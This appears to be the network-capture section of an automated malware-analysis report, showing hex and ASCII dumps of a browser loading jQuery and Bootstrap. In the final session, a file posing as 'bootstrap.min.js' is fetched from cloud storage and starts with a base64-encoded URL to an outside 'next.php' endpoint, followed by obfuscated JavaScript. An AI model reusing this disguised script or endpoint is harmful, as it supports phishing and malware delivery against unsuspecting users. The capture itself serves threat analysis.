2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50080	104.18.10.207	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:43 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 820307 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 90a383104d145e6e-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bed/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 Data Ascii: ,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 Data Ascii: andler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retur
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 Data Ascii: _._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]'
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 Data Ascii: t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryI
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 Data Ascii: his._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibilit
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 Data Ascii: =function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c Data Ascii: ement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 Data Ascii: t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50076	43.153.232.151	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:44 UTC	668	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 782137365-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:44 UTC	501	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553324 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 30 Jan 2025 18:26:44 GMT ETag: "82e842ac19fb1e45c8e70dbb9d6bf76d" Last-Modified: Thu, 23 Jan 2025 07:31:07 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 3606864129986130910 x-cos-request-id: Njc5YmM0NjRfNGY1MTUwYl8xOTMyY180YWUwMmM4 x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-30 18:26:44 UTC	7703	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 33 4f 44 49 78 4d 7a 63 7a 4e 6a 55 75 5a 6d 56 6b 5a 58 4a 68 62 47 68 76 63 33 52 70 62 6d 64 7a 5a 58 4a 32 61 57 4e 6c 63 79 35 6a 62 32 30 76 62 6d 56 34 64 43 35 77 61 48 41 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e Data Ascii: var file = "aHR0cHM6Ly83ODIxMzczNjUuZmVkZXJhbGhvc3RpbmdzZXJ2aWNlcy5jb20vbmV4dC5waHA=";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.
